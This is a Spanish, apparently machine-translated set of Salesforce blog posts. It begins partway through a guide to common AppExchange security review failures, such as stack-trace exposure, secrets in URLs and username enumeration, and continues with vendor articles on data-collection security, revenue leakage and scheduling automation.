En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

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Cómo mantener la seguridad en los flujos de trabajo de recopilación de datos de Salesforce

Cómo mantener la seguridad en los flujos de trabajo de recopilación de datos de Salesforce

Última actualización el 18 de agosto de 2023 por Rakesh Gupta

La seguridad de los datos debe ser una de sus principales prioridades si recopila, almacena y administra información personal. La protección de datos es especialmente importante si sus flujos de trabajo de recopilación de datos de Salesforce se integran con varias herramientas, como un generador de formularios web o un sistema de pago.

Muchas regiones e industrias tienen leyes estrictas de privacidad de datos, que incluyen GDPR, GLBA, HIPAA y otras, que rigen la forma en que las organizaciones manejan los datos. Puede garantizar la seguridad y el cumplimiento de los datos a lo largo de sus flujos de trabajo de recopilación de datos de Salesforce de varias maneras, incluido el enmascaramiento y el cifrado de datos, el control y los permisos de acceso, y el monitoreo regular.

Comprender la importancia de mantener los datos seguros

Los datos confidenciales son todos los datos que se pueden usar para identificar a una persona o dañarlos si se pierden o son robados. Los tipos de datos confidenciales incluyen:

  • Información de identificación personal
  • información de salud protegida
  • Registros financieros o educativos
  • Datos étnicos, políticos y biométricos

Mantener la seguridad de los datos personales ayuda a generar confianza con las personas que comparten su información personal con usted. También garantiza que su organización evite sanciones por incumplimiento de las leyes de privacidad de datos.

Prácticas recomendadas de seguridad al recopilar datos

Su organización es responsable de asegurarse de que las herramientas de recopilación de datos que utiliza tengan implementadas las medidas de seguridad adecuadas. Podrá proteger mejor los datos confidenciales desde el momento en que se recopilan, a medida que se mueven a través de sus flujos de trabajo y cuando se trasladan a Salesforce.

Enmascarar campos sensibles

El enmascaramiento de campo ayuda a garantizar que los datos confidenciales se mantengan confidenciales y no se expongan innecesariamente a usuarios no autorizados.

Cifrar datos

El cifrado de datos ayuda a proteger los datos confidenciales contra el acceso, uso o robo no autorizados, ya sea que estos datos estén en reposo o en tránsito.

Limite el acceso a los datos

La implementación de control de acceso y permisos garantiza que solo los usuarios autorizados puedan acceder o modificar los datos.

Supervisar y auditar flujos de trabajo

La vigilancia constante ayuda a garantizar que los flujos de trabajo de recopilación de datos mantengan el nivel adecuado de seguridad para mantener seguros los datos confidenciales.

2 formas de mejorar la seguridad en los flujos de trabajo de recopilación de datos de Salesforce

Un flujo de trabajo de recopilación de datos de varios pasos tendrá diferentes puntos de entrada con posibles riesgos de seguridad, como formularios, correos electrónicos y cargas de archivos. Es importante que en cada paso de sus procesos de datos, tenga medidas de seguridad para garantizar que personas no autorizadas no accedan a datos o archivos.

Asegúrese también de probar continuamente sus flujos de trabajo de recopilación de datos de Salesforce en busca de vulnerabilidades de seguridad. La detección temprana de amenazas disminuirá la posibilidad de una violación de datos u otras consecuencias graves.

Implementar reglas de retención de datos

La creación de una política clara de retención de datos es fundamental para definir cómo su organización maneja los datos con fines de cumplimiento. Es importante establecer reglas sobre qué datos deben conservarse y durante cuánto tiempo, así como reglas sobre quién tiene acceso y cómo deshacerse de los datos correctamente una vez que ya no se necesitan.

Acceso a los datos

Establecer reglas de acceso a datos como parte de su política de retención de datos garantizará que solo los usuarios autorizados en un flujo de trabajo tengan acceso a datos confidenciales. Los controles administrativos también pueden incluir el requisito de que los usuarios inicien sesión para ver o modificar las listas de respuestas del flujo de trabajo.

Purga de datos

Dentro de su flujo de trabajo, la configuración de reglas de depuración de datos puede garantizar que los datos de respuesta se eliminen de forma permanente una vez que ya no los utilice. Personalice esta configuración de depuración de datos, como la frecuencia con la que se completa una depuración, según sus requisitos de retención de datos.

Aproveche las aprobaciones del flujo de trabajo

Establecer pasos de aprobación dentro de los flujos de trabajo es importante para garantizar la responsabilidad durante el proceso de recopilación de datos. Los pasos de aprobación dentro de un flujo de trabajo significan que ningún usuario tiene control total sobre los cambios o decisiones de datos, lo que ayuda a mejorar la seguridad y la confidencialidad.

Detección de errores

Los pasos de aprobación en un flujo de trabajo proporcionan un proceso de revisión de datos estándar antes de que los datos se acepten o utilicen oficialmente. Esto ayuda a reducir las incoherencias y los errores, así como a garantizar el cumplimiento de las normas de privacidad de datos pertinentes.

Pista de auditoría

Los registros de auditoría para las aprobaciones de flujos de trabajo simplifican el proceso al registrar cada paso de aprobación y crear un registro histórico de los cambios realizados en los datos. También se pueden utilizar durante las investigaciones en caso de brechas de seguridad o problemas de datos.

Simplificación de los flujos de trabajo de recopilación de datos de Salesforce con FormAssembly

Cuando se trata de proteger los flujos de trabajo de datos, es fundamental contar con políticas de privacidad y seguridad de datos. Su organización puede beneficiarse del uso de una única plataforma de flujo de trabajo y recopilación de datos como FormAssembly, que facilita la centralización de la protección contra amenazas y garantiza el cumplimiento. Este enfoque le permite escalar más fácilmente, auditar los flujos de datos de forma centralizada y aumentar la eficiencia, al mismo tiempo que maximiza la seguridad en todos sus flujos de trabajo de recopilación de datos de Salesforce.

La potente plataforma conectada a Salesforce de FormAssembly combina la recopilación de datos segura y compatible con un generador de procesos visual e inteligente que le permite crear procesos complejos que incluyen formularios, correos electrónicos, integraciones y más, todo sin código.

Descubra cómo FormAssembly puede ayudarlo a optimizar sus flujos de trabajo de recopilación de datos de Salesforce mientras mantiene seguros los datos confidenciales.

👉 Más información sobre el flujo de trabajo de FormAssembly

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Lucha contra las fugas de ingresos con inteligencia artificial, datos y poder administrativo

Lucha contra las fugas de ingresos con inteligencia artificial, datos y poder administrativo

Última actualización el 18 de agosto de 2023 por Rakesh Gupta

La fuga de ingresos es la amenaza oculta a la que se enfrentan todas las empresas. Desde las etapas iniciales de calificación de clientes potenciales hasta las ventas adicionales y cruzadas, los ingresos potenciales pueden perderse en cualquier punto del embudo de ventas debido a brechas e ineficiencias.

En este artículo, exploraremos cómo las empresas pueden utilizar la inteligencia artificial (IA) y los datos para combatir la fuga de ingresos junto con la experiencia de los administradores de Salesforce.

En su forma más simple, la fuga de ingresos es la pérdida de ingresos ganables debido a errores no forzados y desalineaciones en el proceso de generación de ingresos. Según Boston Consulting Group , las débiles estrategias de lanzamiento al mercado están causando que las empresas pierdan $2 billones al año en ingresos potenciales perdidos y costos excesivos.  

Profundizaremos en este tema crítico en Dreamforce en San Francisco del 12 al 14 de septiembre de 2023. Como orgulloso patrocinador del evento, Revenue Grid compartirá información sobre cómo las empresas pueden abordar de manera efectiva la fuga de ingresos utilizando el poder de la IA y los datos. . Nuestra misión es simple: capacitar a las empresas para salvaguardar sus ingresos ganados con tanto esfuerzo y, como administrador de Salesforce, ¡usted tiene la clave de esta iniciativa! Únase a nosotros en Dreamforce para sumergirse en el emocionante mundo de la protección de ingresos impulsada por IA y descubra cómo abordar este desafío comercial crítico.

Revolucionando la batalla contra las fugas de ingresos con IA

La lucha contra la fuga de ingresos nunca ha sido un trabajo fácil. Con el auge de la IA generativa, surge una poderosa herramienta contra las fugas de ingresos, que transforma la forma en que las empresas combaten este desafiante problema. La adopción de IA entre las organizaciones B2B está en constante aumento. La investigación de McKinsey indica que el 90 % de los líderes comerciales prevé utilizar con frecuencia soluciones de IA generativa en los próximos dos años. Además, las organizaciones que invierten en IA están experimentando aumentos sustanciales en los ingresos, que van del 3 % al 15 %, según el mismo informe.

La IA es un poderoso aliado en la lucha contra las fugas de ingresos. Sin embargo, no puede hacerlo solo. El punto clave a entender es que la IA aprende de los datos generados por humanos. En términos más simples, la efectividad de la IA está directamente relacionada con la calidad de sus datos. Para aprovechar al máximo el potencial de la IA y desbloquear sus capacidades para la protección de los ingresos, es esencial conectar datos fiables y confiables de diversas fuentes.

Sin embargo, en muchas organizaciones, los datos se aíslan con frecuencia en varios sistemas, creando silos. Incluso las grandes organizaciones con sólidos procedimientos de gestión de datos a menudo se encuentran con problemas de calidad de los datos, como la falta de datos en su CRM. Esta realidad nos enfrenta a un círculo vicioso, ya que los datos incorrectos son una de las causas más comunes de fuga de ingresos . Sin garantizar la integridad de los datos y aprovechar la IA, combatir de manera efectiva las fugas de ingresos se convierte en una tarea imposible.

Garantizar la integridad de los datos incluye manejar la seguridad y abordar las preocupaciones de cumplimiento que requieren conocimientos técnicos y experiencia específica. Con sus conocimientos y habilidades, los administradores de Salesforce desempeñan un papel vital en cerrar la brecha entre las capacidades de IA y la calidad de los datos, lo que permite a las empresas combatir las fugas de ingresos de manera efectiva.

Garantizar la integridad de los datos con captura de actividad y poder administrativo

Una de las principales razones detrás de los problemas de datos para las empresas es la dependencia de los procesos manuales, lo que puede conducir a la entrada de datos que requiere mucho tiempo y mano de obra, lo que resulta en datos faltantes, errores y duplicados en CRM.

La captura de actividad automatizada supera estos desafíos al ofrecer una alternativa efectiva a la entrada manual de datos. Al recopilar y guardar el 100 % de los datos de actividad en varios puntos de contacto con el cliente, las soluciones de captura de actividad eliminan los errores de entrada de datos y garantizan datos precisos y siempre actualizados en Salesforce.

Además, tener datos completos permite a las empresas ver el panorama general, lo que les permite evaluar el estado de la tubería e identificar acuerdos que se están moviendo, estancados o en riesgo, ayudándolos a identificar posibles fugas antes de que ocurran. Además, la captura de actividad automatizada mejora la eficiencia al liberar a los equipos de ventas de dedicar tiempo a la entrada manual de datos.

Si bien la captura de actividad parece ser la solución ideal para garantizar la integridad de los datos, no todas las herramientas de captura de actividad se crean de la misma manera y algunas pueden tener serias desventajas. Estos pueden incluir no tener datos reportables en Salesforce, opciones de sincronización personalizables limitadas, falta de sincronización bidireccional que causa problemas de programación y vulnerabilidades de seguridad debido a la ausencia de opciones de implementación en la nube privada y local.

La experiencia y los conocimientos técnicos de los administradores de Salesforce son cruciales para superar con éxito estos desafíos. Capacitar a los administradores para elegir e implementar la solución de captura de actividad adecuada y manejar los problemas relacionados con los datos cuando ocurren garantiza el mantenimiento de datos de CRM de alta calidad.

Aprovechar la IA para combatir la fuga de ingresos

Con la integridad de los datos asegurada, el motor de IA ahora se alimenta con información esencial y está listo para actuar. Los datos de actividad incluyen señales invaluables sobre la canalización, las oportunidades de ventas y las brechas potenciales en los procesos. Identificar estos conocimientos requiere un análisis profundo de los datos, lo que es imposible con la evaluación manual. AI automatiza el análisis de datos para visualizar el estado de la tubería e identificar las brechas de ejecución que indican fugas de ingresos.  

A continuación, la IA crea información procesable a través de la inteligencia de ingresos. Después de analizar cantidades masivas de datos, la IA detecta patrones y los transforma en información procesable a través de recomendaciones de IA contextuales y en tiempo real. Esto brinda a los equipos la orientación que necesitan para abordar la posible fuga de ingresos de inmediato.

El paso final es garantizar que se sigan estas recomendaciones y evaluar su eficacia. Las funciones de informes avanzados y las señales de IA muestran el impacto exacto en tiempo real a medida que evoluciona la canalización. Esto permite los ajustes necesarios en los procesos y establece una plataforma de ejecución para implementar cambios en toda la empresa y mejoras en los procesos para combatir las fugas de ingresos en toda la empresa.  

Únase a nuestras sesiones de oratoria de Dreamforce para obtener más información

La fuga de ingresos es un problema comercial crítico que debe manejarse, y la IA surge como una herramienta poderosa para abordarlo. Para aprovechar al máximo el potencial de la IA, es esencial combinarla con datos de calidad. Aquí es donde los administradores de Salesforce juegan un papel fundamental, potenciando la IA con datos valiosos y aprovechando su experiencia y conocimientos técnicos para combatir las fugas de ingresos de manera efectiva.

Si está ansioso por obtener más información sobre cómo la IA puede revolucionar sus estrategias de protección de ingresos, lo invitamos a unirse a nuestras sesiones de conferencias de Dreamforce . ¡Encuéntrenos en el stand n.º 1126 para explorar las emocionantes posibilidades de la optimización de ingresos impulsada por IA!

Maria Gordienko es directora de comunicaciones de Revenue Grid.

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Desatando los superpoderes de administración de Salesforce: ¡Impulse la colaboración en equipo, sobrecargue la eficiencia, gestión de datos maestros!

Desatando los superpoderes de administración de Salesforce: ¡Impulse la colaboración en equipo, sobrecargue la eficiencia, gestión de datos maestros!

Última actualización el 31 de julio de 2023 por Rakesh Gupta

Durante la última década, el papel de un administrador de Salesforce ha evolucionado drásticamente, manteniendo el ritmo del panorama dinámico de las ventas y la gestión de las relaciones con los clientes. Lo que alguna vez fue principalmente una posición de entrada de datos se ha convertido en un rol multifacético que abarca la planificación estratégica, el análisis y la optimización de procesos. A medida que las empresas reconozcan la importancia de Salesforce para impulsar el crecimiento y mejorar las experiencias de los clientes, los administradores proporcionarán un puente fundamental entre la tecnología y el éxito comercial.

Este artículo explorará cómo los administradores pueden aprovechar la automatización de procesos junto con el ecosistema de Salesforce para fomentar la colaboración en equipo, mejorar la eficiencia organizacional y mejorar la gestión de datos.

Uso de la automatización de correo electrónico de Salesforce para la programación

La automatización del correo electrónico se utiliza para optimizar varios aspectos de la comunicación por correo electrónico con clientes potenciales y clientes dentro de la plataforma de Salesforce para garantizar una programación de citas rápida y eficiente. Permite a las empresas administrar de manera eficiente sus campañas de marketing y ventas por correo electrónico, la participación del cliente y las reservas.

En los últimos años, la automatización revolucionó los procesos de ventas y soporte al agilizar la reserva de citas, reducir la carga de trabajo manual y brindar a los clientes opciones convenientes de autoservicio. Actualmente, los administradores de Salesforce pueden aprovechar herramientas como SUMO Scheduler junto con flujos nativos y alertas por correo electrónico para enviar automáticamente invitaciones a citas. Al crear disparadores que monitorean campos de datos específicos asociados con registros de contactos y lanzar flujos personalizados, los administradores pueden asegurarse de que los clientes potenciales siempre puedan programar citas, independientemente de la hora del día o la ubicación.

Actualizaciones automáticas de temas: haga que sus citas se destaquen

Las reuniones de cara al cliente son vitales para los equipos de ventas y soporte, y las citas perdidas o canceladas pueden afectar negativamente los objetivos estratégicos y el resultado final. Los administradores de Salesforce pueden aprovechar las actualizaciones automáticas de temas dentro de la programación de citas para reducir las cancelaciones de manera efectiva y aumentar la participación en las citas. Al implementar esta funcionalidad, los administradores pueden mejorar la comunicación, brindar claridad e infundir confianza en el proceso de citas para los clientes y la organización.

Se puede activar una actualización automática del tema para incluir detalles esenciales como la fecha, la hora, la ubicación y el propósito de la cita al programarla. Este mensaje de confirmación sirve como recordatorio para el cliente y reduce las posibilidades de cancelaciones involuntarias o de no presentarse.

Las actualizaciones automáticas de temas también se pueden personalizar para atender a clientes individuales. Los administradores pueden incluir detalles personalizados, como el nombre del cliente o referencias de citas específicas, para captar su atención y crear una sensación de personalización. Esto ayuda a fomentar una conexión con el cliente y refuerza su compromiso con la cita.

Finalmente, en caso de cambios o actualizaciones en la cita, los administradores pueden usar actualizaciones automáticas de temas para comunicar la información revisada. Esto asegura que los clientes estén informados sobre cualquier modificación en tiempo real, minimizando la confusión o la necesidad de cancelar debido a detalles desactualizados o inexactos.

Al permitir la flexibilidad en la programación y el mantenimiento de registros precisos dentro de Salesforce con la ayuda de líneas de asunto automatizadas, los administradores pueden optimizar de manera efectiva su proceso de ventas, mejorar la experiencia del usuario y fortalecer las relaciones con los clientes.

Uso de campos de correo electrónico flexibles para una mayor precisión

La flexibilidad es clave para satisfacer las necesidades únicas de los clientes, y los administradores de Salesforce pueden aprovechar el poder de los campos de correo electrónico para notificaciones personalizadas, sin importar cuán complejas sean. Esta personalización permite una experiencia más personalizada que cumple con requisitos específicos, como el cumplimiento normativo o las políticas internas.

En el contexto de Salesforce, los campos de correo electrónico se utilizan para recopilar y almacenar las direcciones de correo electrónico de los clientes. Estos campos aseguran que los datos ingresados sigan el formato adecuado, evitando entradas incorrectas o no válidas. Las direcciones de correo electrónico recopiladas a través de estos campos se pueden usar para enviar recordatorios, actualizaciones, mensajes de seguimiento y otras notificaciones relacionadas con citas. Cada campo de correo electrónico actúa como una medida confiable de capturar y utilizar información de contacto para mejorar el compromiso y mantener canales de comunicación efectivos.

Los campos de correo electrónico de Salesforce pueden mejorar la precisión al garantizar que la información de contacto almacenada en CRM esté actualizada y sea confiable. Al utilizar campos de correo electrónico dedicados dentro de Salesforce, los representantes de ventas pueden capturar y almacenar direcciones de correo electrónico específicas de personas o entidades con precisión. Esto ayuda a eliminar el riesgo de usar direcciones de correo electrónico desactualizadas o incorrectas asociadas con otros campos, como información de contacto personal o comercial, lo que da como resultado comunicaciones por correo electrónico más confiables, tasas de rebote reducidas y precisión de datos mejorada.

Automatice la creación de clientes potenciales en Salesforce en el momento de la reserva

Las herramientas de programación nativas de Salesforce permiten a los equipos de ventas automatizar la creación de clientes potenciales, lo que garantiza una captura precisa de la información y los datos demográficos de los clientes potenciales en el CRM. Al automatizar el proceso de creación de clientes potenciales tan pronto como se programa una cita, los administradores pueden ahorrar tiempo, mantener la integridad de los datos y evitar la redundancia. Los flujos automatizados agilizan el proceso y eliminan los errores de entrada manual. La precisión mejorada y la colaboración entre las partes interesadas mejoran las tasas de conversión de clientes potenciales y proporcionan datos confiables para informes y análisis.

Para automatizar rápidamente la creación de clientes potenciales en Salesforce en el momento de la reserva, puede seguir estos pasos:

  1. Identifique el evento desencadenante : determine el evento o la acción específicos que deben desencadenar la creación de clientes potenciales. En este caso, sería la reserva de una cita.
  2. Configure un flujo de Salesforce : utilice el flujo de Salesforce para crear una regla que active el proceso de creación de clientes potenciales. Especifique los criterios para cuándo debe activarse el flujo, como cuando se reserva una nueva cita.
  3. Definir asignación de campos : configure la asignación de campos para asegurarse de que la información relevante de la cita se transfiera correctamente al registro de clientes potenciales. Puede asignar campos como el nombre del participante, la información de contacto, los detalles de la cita y otros puntos de datos relevantes.
  4. Crear el registro de prospecto : configure Salesforce Flow para crear un nuevo registro de prospecto con los datos asignados. Asegúrese de que todos los campos obligatorios estén completos y que el registro de cliente potencial esté asociado con la campaña o la fuente adecuada.
  5. Probar y validar : pruebe el proceso automatizado de creación de clientes potenciales reservando una cita de muestra y verificando que el registro de clientes potenciales se cree con los datos esperados. Valide que el registro de prospectos aparezca en la cola de prospectos designada o en las reglas de asignación.
  6. Supervisar y perfeccionar : Supervise continuamente el proceso de automatización de creación de clientes potenciales para garantizar su eficacia y precisión. Realice los ajustes o mejoras necesarios en función de los comentarios, los cambios en los requisitos comerciales o los problemas de calidad de los datos.

Al automatizar la creación de clientes potenciales en Salesforce en el momento de la reserva, los representantes de ventas y los administradores pueden ahorrar tiempo, garantizar la precisión de los datos y mantener un proceso de gestión de clientes potenciales optimizado. Esta automatización facilita la captura eficiente de clientes potenciales, reduce el esfuerzo manual y mejora la productividad del equipo de ventas.

Conclusión:

Los flujos de programación automatizados, junto con las poderosas capacidades de SUMO Scheduler, simplifican y mejoran los procesos de trabajo, ahorran tiempo, reducen errores y mejoran la satisfacción del cliente. Al adoptar la automatización, los administradores de Salesforce pueden impulsar mejoras significativas en la eficiencia, la productividad y el rendimiento comercial general. La optimización de los procesos de programación y el aprovechamiento de los flujos de automatización en Salesforce con SUMO Scheduler es una combinación ganadora para las empresas que buscan optimizar sus operaciones. ¡Adopte la revolución de la automatización hoy e impulse a su equipo de ventas a nuevos niveles de éxito!

Haga clic aquí para visitar SUMO Scheduler en Salesforce AppExchange y obtener más información sobre el poder de la programación automática de autoservicio .

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5 consejos para incorporar la automatización en su negocio

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Seamos realistas: el trabajo mundano y repetitivo puede ser un lastre. De hecho, el 77 % de los trabajadores de escritorio dicen que la automatización de las tareas rutinarias mejoraría su productividad. Sin embargo, el 52% de las empresas todavía tienen demasiados procesos y tareas manuales. La automatización empresarial puede ser la clave para cerrar esta brecha.

La automatización empresarial conduce a clientes leales , empleados más felices, mejor eficiencia y ahorro de costos. ¿Y qué mejor manera de trazar un camino hacia la automatización empresarial que aprender de aquellos que ya lo han hecho? ¿No está seguro de por dónde empezar con la automatización? Esto ayudará .

En un informe para Salesforce , IDC entrevistó a más de 1600 líderes empresariales y de TI, en varias industrias en Asia, Europa, América del Norte y América del Sur, sobre cómo han tenido éxito con la automatización en sus empresas. A partir de esta investigación de IDC, aquí hay cinco consejos que puede usar para ayudar a incorporar la automatización en su propia práctica.

Acelere la automatización como los profesionales

Escuche a más de 1600 líderes empresariales y de TI de todo el mundo sobre las tendencias de automatización y lo que pueden hacer por su empresa.

Tabla de contenido

Sugerencia 1: Genera impulso en un área y luego expande a toda la empresa
Consejo 2: Cree un centro de automatización de excelencia
Consejo 3: automatice los flujos de trabajo de TI para ayudar a los departamentos de TI sobrecargados
Consejo 4: utilice un enfoque ágil para la automatización empresarial
Sugerencia 5: use código bajo para acelerar el tiempo de comercialización

Sugerencia 1: Genera impulso en un área y luego expande a toda la empresa

Los mejores procesos candidatos tienen pasos repetitivos, un alto volumen de tareas y datos de múltiples sistemas. Elegir un proceso maduro que haya sido probado y ajustado con el tiempo es su mejor apuesta. Si un proceso cambia con frecuencia o implica un análisis cualitativo, probablemente no sea un buen candidato para la automatización. Estos son los pasos para ayudarlo a comenzar.

1. Investiga

Para empezar, deberá determinar:

  • Qué proceso quieres transformar
  • Cuánto se tarda
  • Personas y departamentos involucrados
  • Sistemas y datos que posibilitan el proceso

2. Cuantificar los costos

Sume los costos del proceso que desea automatizar en todos los departamentos involucrados o afectados. Algunas cosas para pensar en este paso:

  • ¿Cuánto más le cuestan las ineficiencias en tiempo extra del personal?
  • ¿Está pagando por envíos acelerados?
  • ¿Está contabilizando las horas extra de los contratistas?
  • ¿Existen costes negativos en la experiencia del cliente?

3. Definir el estado deseado

Para definir su estado deseado, deberá ingresar a los detalles de su proceso automatizado. Aquí hay algunas preguntas para hacer:

  • ¿Cómo será su nuevo proceso?
  • ¿Quién debería estar involucrado?
  • ¿Cuánto tiempo debe tomar el proceso automatizado?

Recuerde incorporar los comentarios de los clientes en este paso.

4. Elige las herramientas adecuadas

